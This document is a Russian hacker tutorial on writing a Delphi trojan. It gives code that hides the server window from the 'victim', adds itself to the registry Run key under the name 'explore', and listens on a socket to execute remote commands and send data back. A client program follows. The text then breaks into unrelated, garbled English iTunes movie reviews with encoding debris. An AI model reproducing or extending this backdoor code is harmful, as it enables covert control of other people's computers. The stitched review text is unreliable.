[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая
статья:), поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я
взял троян ALB и считал себя суперхакером. Но вскоре я понял, что ХАКЕР - ЭТО
НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И
вот, через полгода я уже в состоянии написать собственный троян, этим мы и
займемся.
[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та
часть, которая будет на компьютере жертвы, она будет открывать соединение через
сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента.
Клиент - это, как ты догадался, прога, которая должна стоять у нас и управлять
сервером.
[Порты и сокеты]
Существует мировой стандарт структуры протоколов связи - семиуровневая OSI
(Open Systems Interface - интерфейс открытых систем). Hа каждом из уровней этой
структуры решается свой объем задач своими методами. Сокеты находятся на так
назывемом транспортном уровне - ниже находится сетевой протокол IP, выше -
специализированные протоколы сеансового уровня, ориентированные на решение
конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со
всеми присущими ему свойствами, и, естественно - возможностью получать и
передавать данные. Когда говорят СОКЕТ, то часто не представляют, что это
такое. Можно говорить о моделях, о реализациях и так далее. Но есть одно
простое толкование, применимое для протокола IP. Как известно для
взаимодействия между машинами по протоколу IP используются адреса и порты.
Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто
его представляют в символьной форме mmm.nnn.ppp.qqq (адрес разбитый на четыре
октета по одному байту в октете и разделеный точками) . Второе - это номер
порта в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в
котором расположены адрес и порт). В процессе обмена как правило используются
два сокета - сокет отправителя и сокет получателя. Порт - это
"гавань", на которую можно пристыковаться, как сказно выше, на одном
IP - 65535 портов. Все они есть в системе, но активны только несколько. Троян
на сервере открывает порт, а клиент к нему стыкуется. В это время идет обмен
данными.
[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются
ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и
TCPClient - они нам НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе
придется вручную установить их, для этого иди в Component>>insall
Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl
[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1. Установим
свойство port равным 45288, это порт, по которому наш троян будет принимать
приказы и отсылать секреты жертвы.
В разделе программы var описываем переменные:
i:string;
Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что
у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:
Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь:)}
ServerSocket1.Open; {Запускаем сервер}
Теперь сделаем так, чтобы троян прописывался в автозагрузку: (в uses добавить
registry, в var - registry:TRegistry;)
registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также
HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurrentversionrun',true); {подключ}
registry.Writestring('explore',Application.ExeName); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}
Теперь наш троян не только не виден в списке приложений, но и сам запускается с
запуском винды. Следующий шаг - принимаем команды от сервера:
В событии сервера OnClientRead {поступила команда от клиента} пишем:
i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для
сохранности}
{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.
Вот как это выглядит на Делфи:
}
if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)
{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}
Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот
- передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера. В раздел var добавляем переменную
типа integer, обзовем ее 'p'.
В той же процедуре добавляем:
if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');
Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение
"тестовая версия".
Не забудь сохранить проект.
С сервером разобрались, теперь клиент.
[Клиент]
Создаем новый проект.
//Клиент, который я использую довольно простой. Не вздумайте делать такой в
заказном трояне, например!!!
В var также обьявляем переменную i стрингового типа для сбрасывания получаемой
информации.
Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст
команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы
сервера.
Дальше обработчики событий для клиента:
{OnConnect}
sb.SimpleText:='Подключение произошло успешно';
На этом моя статья заканчивается. Сейчас я думаю, стоит ли мне писать и дальше
статьи по кодингу, или это моя первая и последняя статья? Проголосуйте за
статью, чтобы я это узнал.
I luv this movie and cannot wait to get it when it reaches out!!! =]â™ â™ â™ MAD HATTERâ™ â™ â™ This movie is a superb movie for younger kids. I personally used to watch this movie constantly when i was little. Its entertaining and little kids will love it. Thank you, thank you, thank you iTunes for finally getting this movie. It does not take best movie of all time! I've been checking correctly on iTunes for pretty much a year and am so glad I am able to finally watch it on my ipod as an alternative to my laptop when i'm into your carry-on. For anyone who hasn't seen this version of Auntie Mame, don't throw away cash renting it: you have to buy it!! You'll fall in love with Rosalyn Russell in this role. There's also a version with Lucille Ball however prefer this version far more. this movie was cute and fun. i'm almost a teenager and like barbie movies. thx itunes Unfortunately this movie presents a detailed too real slice of yank life in towns today. Despite several cinematic flaws the show is an accurate representation of waking time to day world by which disputes in many cases are blown beyond proportion with life or death consequences, where the sanctity of life means not much or nothing in any way. A world the spot that the public at large and public servants stay to clean inside the emotional and physical carnage. The Wire continued... The movie, sadly is a very real social commentary. Young brothers, obtain it together.